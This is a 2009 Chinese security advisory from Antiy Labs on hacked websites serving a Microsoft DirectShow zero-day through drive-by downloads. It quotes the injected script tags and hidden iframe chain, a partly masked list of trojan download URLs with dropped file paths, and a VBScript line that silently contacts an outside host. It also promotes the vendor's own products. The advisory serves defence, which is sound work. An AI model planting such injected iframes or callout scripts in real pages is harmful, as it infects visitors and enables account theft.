Microsoft DirectShow微软视频0DAY漏洞大规模爆发

Microsoft DirectShow微软视频0DAY漏洞大规模爆发
出处：安天实验室 时间：2009年7月6日


    2009年7月4日22时，安天实验室发现郑州师专附小英协外语小学网站以及大量色情网站，被黑客植入了Microsoft DirectShow微软视频0DAY漏洞相应的攻击程序。
    截止到2009年7月5日19时，安天实验室已经捕获到上百个网站被植入该微软视频0DAY漏洞的攻击程序。站点包括：四川中纬医药、恩施联通有限公司、小学生作文辅导、中国管业网、丽水江南布衣专卖店、贵港热线、南海电动车大卖场等上百个网站。
    2009年7月6日7时，安天实验室发现大唐电信网站(http://www.datang.com)被黑客植入Microsoft DirectShow微软视频0DAY漏洞网马，用户如果访问该网站，系统就会自动从恶意网站上下载并运行恶意程序。被感染病毒的用户系统可能被远程控制，盗取用户敏感信息。甚至导致死机。
该网站问题代码：

<script src=http://3b3***.org/c.js></script>
用锐甲可以完全防住利用Microsoft DirectShow微软视频0DAY漏洞挂马的网站：

http://3b3***.org/c.js问题框架代码：

<iframe src=http://vip762.3322***.org/aa/a100.htm width=0 height=0></iframe>
http://vip762.3322***.org/aa/a100.htm问题框架代码：

<iframe src="index.htm" width=111 height=0 border=0></iframe>
http://vip762.3322***.org/aa/index.htm网马代码：

<script src='go.jpg'></script>
http://vip762.3322***.org/aa/go.jpg Microsoft DirectShow微软视频0DAY漏洞网马代码部分截图：

该挂马网页利用以下漏洞进行传播：
Microsoft DirectShow MPEG2TuneRequest Stack Overflow Exploit漏洞
受影响的软件：
Microsoft DirectShow(msvidctl.dll)
描述和解决方案：
安装安天防线2009和锐甲可以阻挡Microsoft DirectShow微软视频0DAY漏洞网马

当用户访问http://www.datang.com时，系统会自动下载以下病毒文件：
1、网页木马直接下载的病毒文件：
http://xin765***.com/wm/svchost.exe 病毒名：Trojan/Win32.Killav.gg[Dropper]
描述：下载者木马，关闭安全软件进程、连接网络下载大量病毒文件
衍生文件：
c:\WINDOWS\system32\drivers\etc\hosts
c:\WINDOWS\system32\drivers\OLD3.tmp
c:\WINDOWS\system32\drivers\pcidump.sys
c:\WINDOWS\system32\drivers\acpiec.sys
c:\WINDOWS\system32\dllcache\acpiec.sys
c:\WINDOWS\system32\func.dll
c:\WINDOWS\phpq.dll
c:\WINDOWS\LastGood\system32\drivers\acpiec.sys
c:\1.exe
c:\autorun.inf
2、病毒读取网络下载列表地址：
http://babi2009***.com/360/aa1dfh.txt
3、由下载者木马下载的其他病毒文件：
http://haha888l***.com/xiao/aa1.exe 病毒名：Trojan/Win32.Magania.biht[GameThief]
描述：梦幻西游盗号木马
衍生文件：
c:\WINDOWS\system32\kSVHjMeWr5ZZY47.dll
c:\WINDOWS\Fonts\F5hFtXrw8.Ttf

http://haha888l***.com/xiao/aa2.exe 病毒名：Trojan/Win32.Magania.bjsy[GameThief]
描述：游戏盗号木马
衍生文件：
c:\WINDOWS\system32\EN7hzSreCat8.dll
c:\WINDOWS\system32\dfc8ac3ed7da.dll
c:\WINDOWS\system32\comres.dll
c:\WINDOWS\Fonts\R6WhWBmZsEdPZDjQP.Ttf

http://haha888l***.com/xiao/aa3.exe 病毒名：Trojan/Win32.Magania.biht[GameThief]
描述：封神榜?网络版游戏盗号木马
衍生文件：
c:\WINDOWS\system32\JPccCJnKygDdp3.dll
c:\WINDOWS\Fonts\uawyv9Pr.Ttf

http://haha888l***.com/xiao/aa4.exe 病毒名：Trojan/Win32.Magania.bfwc[GameThief]
描述：大话西游 ii游戏盗号木马
衍生文件：
c:\WINDOWS\system32\GsfMwDWD3.dll
c:\WINDOWS\Fonts\QT7f3JmmJrcx.Ttf

http://haha888l***.com/xiao/aa5.exe 病毒名：Trojan/Win32.Magania.biht[GameThief]
描述：魔兽世界游戏盗号木马
衍生文件：
c:\WINDOWS\Fonts\m75TJUvNjzQF.Ttf
c:\WINDOWS\Fonts\wQ7KbaNZKMe5G4qZ.fon

http://haha888l***.com/xiao/aa6.exe 病毒名：Trojan/Win32.Magania.bfrp[GameThief]
描述：魔兽世界游戏盗号木马
衍生文件：
c:\WINDOWS\system32\xg4hAPNygs29.dll
c:\WINDOWS\Fonts\K7XaTBMWp8TPrYgw.Ttf

http://haha888l***.com/xiao/aa7.exe 病毒名：Trojan/Win32.Magania.bkii[GameThief]
描述：魔兽世界游戏盗号木马
衍生文件：
c:\WINDOWS\system32\dktXFYbT3G.dll
c:\WINDOWS\Fonts\xFQymHn5e4keKWye.Ttf

http://haha888l***.com/xiao/aa8.exe 病毒名：Trojan/Win32.Magania.bfwc[GameThief]
描述：魔兽世界游戏盗号木马
衍生文件：
c:\WINDOWS\system32\P2xnxaS5acXpS95.dll
c:\WINDOWS\Fonts\m75TJUvNjzQF.Ttf

http://haha888l***.com/xiao/aa9.exe 病毒名：Trojan/Win32.Magania.bfrp[GameThief]
描述：剑侠世界游戏盗号木马
衍生文件：
c:\WINDOWS\system32\skcfujQ5EDN.dll
c:\WINDOWS\Fonts\YywxhF7TSnkktrJw.Ttf

http://haha888l***.com/xiao/aa10.exe 病毒名：Trojan/Win32.Magania.bfws[GameThief]
描述：游戏盗号木马
衍生文件：
c:\WINDOWS\Fonts\T4HyJ7uGEauA.Ttf
c:\WINDOWS\Fonts\MqppW9KYn.fon

http://haha888l***.com/xiao/aa11.exe 病毒名：Trojan/Win32.Magania.bfrp[GameThief]
描述：游戏盗号木马
衍生文件：
c:\WINDOWS\system32\taNjsFa2tT2Dh.dll
c:\WINDOWS\Fonts\RCZbVbjCY6wYszD3.Ttf

http://haha888l***.com/xiao/aa12.exe 病毒名：Trojan/Win32.Magania.bfrp[GameThief]
描述：生存之旅游戏盗号木马
衍生文件：
c:\WINDOWS\system32\704C3595.dll
c:\WINDOWS\Fonts\S8a8cnEuaydPJGg8.Ttf

http://haha888l***.com/xiao/aa13.exe 病毒名：Trojan/Win32.Magania.bfdq[GameThief]
描述：游戏盗号木马
衍生文件：
c:\WINDOWS\system32\E4814792.dll
c:\WINDOWS\Fonts\EEUJgNKN6xmNqKr6.Ttf

http://haha888l***.com/xiao/aa14.exe 病毒名：Trojan/Win32.Magania.bful[GameThief]
描述：传奇游戏盗号木马
衍生文件：
c:\WINDOWS\Fonts\MhaUKGazkr3fZZKp.Ttf
c:\WINDOWS\Fonts\fyrwJf5Qfhh.fon

http://haha888l***.com/xiao/aa15.exe 病毒名：Trojan/Win32.Magania.bfrp[GameThief]
描述：诛仙游戏盗号木马
衍生文件：
c:\WINDOWS\system32\A0C86020.dll
c:\WINDOWS\Fonts\6e6EUdxVeWUYJynN.Ttf

http://haha888l***.com/xiao/aa16.exe 病毒名：Trojan/Win32.Magania.biht[GameThief]
描述：游戏盗号木马
衍生文件：
c:\WINDOWS\Fonts\BqfKfz6gSK.Ttf
c:\WINDOWS\Fonts\zAPWgSjGrSpdsE4.fon

http://haha888l***.com/xiao/aa17.exe 病毒名：Trojan/Win32.Magania.bfrp[GameThief]
描述：游戏盗号木马
衍生文件：
c:\WINDOWS\system32\qB5BKZy7vR5m.dll
c:\WINDOWS\Fonts\PeMTdMfqzpGTb5ps.Ttf

http://haha888l***.com/xiao/aa18.exe 病毒名：Trojan/Win32.Magania.bfsy[GameThief]
描述：游戏盗号木马
衍生文件：
c:\WINDOWS\Fonts\JNwybEjgUVaxBU5d.Ttf
c:\WINDOWS\Fonts\CESPVP8FQd.fon

http://haha888l***.com/xiao/aa19.exe 病毒名：Trojan/Win32.Magania.bfsy[GameThief]
描述：QQ厦华游戏盗号木马
衍生文件：
c:\WINDOWS\Fonts\pDuuqr4BgFn65AeW.Ttf
c:\WINDOWS\Fonts\vwuXtYbhj.fon

http://haha888l***.com/xiao/aa20.exe 病毒名：Trojan/Win32.Magania.bfrp[GameThief]
描述：大话西游3游戏盗号木马
衍生文件：
c:\WINDOWS\system32\ndxq9awMc.dll
c:\WINDOWS\Fonts\CRp3uYCmcxMp3qQn9.Ttf

http://haha888l***.com/xiao/aa21.exe 病毒名：Trojan/Win32.Magania.bfrp[GameThief]
描述：魔域游戏盗号木马
衍生文件：
c:\WINDOWS\system32\08223B03.dll
c:\WINDOWS\Fonts\eCgMhGRkPUcdutd0.Ttf

http://haha888l***.com/xiao/aa22.exe 病毒名：Trojan/Win32.Magania.bfrp[GameThief]
描述：诛仙游戏盗号木马
衍生文件：
c:\WINDOWS\system32\122B901E.dll
c:\WINDOWS\Fonts\cFDPmh3MDPjcHMPd.Ttf

http://haha888l***.com/xiao/aa23.exe 病毒名：Trojan/Win32.Magania.bfrp[GameThief]
描述：诛仙游戏盗号木马
衍生文件：
c:\WINDOWS\system32\dhDhwS7fFW.dll
c:\WINDOWS\Fonts\cD9KArZZUHxCqnyM.Ttf

http://haha888l***.com/xiao/aa24.exe 病毒名：Trojan/Win32.Magania.bkcz[GameThief]
描述：永恒之塔游戏盗号木马
衍生文件：
c:\WINDOWS\system32\Va7SpUWgCA5f.dll
c:\WINDOWS\Fonts\FCvvnT2B.Ttf

http://haha888l***.com/xiao/aa25.exe 病毒名：Trojan/Win32.Magania.bful[GameThief]
描述：封神榜网络版游戏盗号木马
衍生文件：
c:\WINDOWS\Fonts\EHMs25j4ArEwPKHS.Ttf
c:\WINDOWS\Fonts\vgUGf6VF2E.fon

http://haha888l***.com/xiao/aa26.exe 病毒名：Trojan/Win32.Magania.biht[GameThief]
描述：封神榜网络版游戏盗号木马
衍生文件：
c:\WINDOWS\system32\ybM7kf9heVHDx.dll
c:\WINDOWS\Fonts\EcZFMzAp3.Ttf

http://haha888l***.com/xiao/aa27.exe 病毒名：Trojan/Win32.Magania.bful[GameThief]
描述：传奇外传游戏盗号木马
衍生文件：
c:\WINDOWS\Fonts\du3Q2JXbHYGxcSAe.Ttf
c:\WINDOWS\Fonts\tY5UFS434YYd.fon

http://haha888l***.com/xiao/aa28.exe 病毒名：Trojan/Win32.Magania.bfwc[GameThief]
描述：游戏盗号木马
衍生文件：
c:\WINDOWS\system32\GU6f5sW42mdc.dll
c:\WINDOWS\Fonts\avJ9SdDwMd9Qzt.Ttf

http://haha888l***.com/xiao/aa29.exe Trojan/Win32.Magania.bfrp[GameThief]
描述：华夏2游戏盗号木马
衍生文件：
c:\WINDOWS\system32\2EF0D734.dll
c:\WINDOWS\Fonts\Qq3qg7RGSp9raxWW.Ttf

http://haha888l***.com/xiao/aa30.exe 病毒名：Trojan/Win32.Magania.biht[GameThief]
描述：游戏盗号木马
衍生文件：
c:\WINDOWS\system32\RhdwE8NYdbqQ.dll
c:\WINDOWS\Fonts\BqfKfz6gSK.Ttf

http://haha888l***.com/xiao/aa31.exe 病毒名：Trojan/Win32.Magania.bfrp[GameThief]
描述：游戏盗号木马
衍生文件：
c:\WINDOWS\system32\wadSSw5k.dll
c:\WINDOWS\Fonts\Vx53f7Scj63HVHDE.Ttf

http://haha888l***.com/xiao/aa32.exe 病毒名：Trojan/Win32.Magania.bkcv[GameThief]
描述：梦幻西游online游戏盗号木马
衍生文件：
c:\WINDOWS\Fonts\F5hFtXrw8.Ttf
c:\WINDOWS\Fonts\xbpCfXnG6wUVF.fon

http://haha888l***.com/xiao/aa33.exe 病毒名：Trojan/Win32.OnLineGames.bmiz[GameThief]
描述：游戏盗号木马
衍生文件：
c:\WINDOWS\system32\usbvmx.dll
c:\WINDOWS\system32\ed78ab9.dll
c:\WINDOWS\Fonts\yGMHUAj5Npydj8FZ.ttf

http://haha888l***.com/xiao/aa34.exe 病毒名：Trojan/Win32.QQFish.l[PSW]
描述：钓鱼木马伪装QQ官方发布中奖信息
衍生文件：
c:\WINDOWS\system32\www.qq13x.cn

http://haha888l***.com/xiao/aa35.exe 病毒名：Trojan/Win32.OnLineGames.bmzy[GameThief]
描述：QQ盗号木马
衍生文件：
c:\Documents and Settings\a\Application Data\Set8.dll
c:\Documents and Settings\a\Application Data\Set8.tmp
c:\Documents and Settings\a\Application Data\R8.bak

http://haha888l***.com/xiao/aa36.exe 病毒名：Trojan/Win32.Agent.fn[DDoS]
描述：后门木马，发布DDOS攻击
衍生文件：
c:\WINDOWS\system32\aa36.exe

http://haha888l***.com/xiao/1.exe 病毒名：Trojan/VBS.IEstart.e
描述：利用脚本执行命令：
vbscript:CreateObject("WScript.Shell").Run("iexplore http://tj.mehoab***.com/bb/tj1jdoiash.htm",0)(window.close)连接该域名地址发送安装统计信息
衍生文件：无

安天反病毒工程师建议：
1.使用安天防线2009或锐甲可以完全防住此挂马网页。
2.使用安天防线可以查杀此挂马网页下载的病毒文件。
3.请及时更新安天防线2009，以确保您的计算机安全，防止计算机病毒入侵。如未安装安天防线请点击此处(http://www.antiyfx.com/download.htm)免费下载最新版安天防线2009来防止病毒入侵。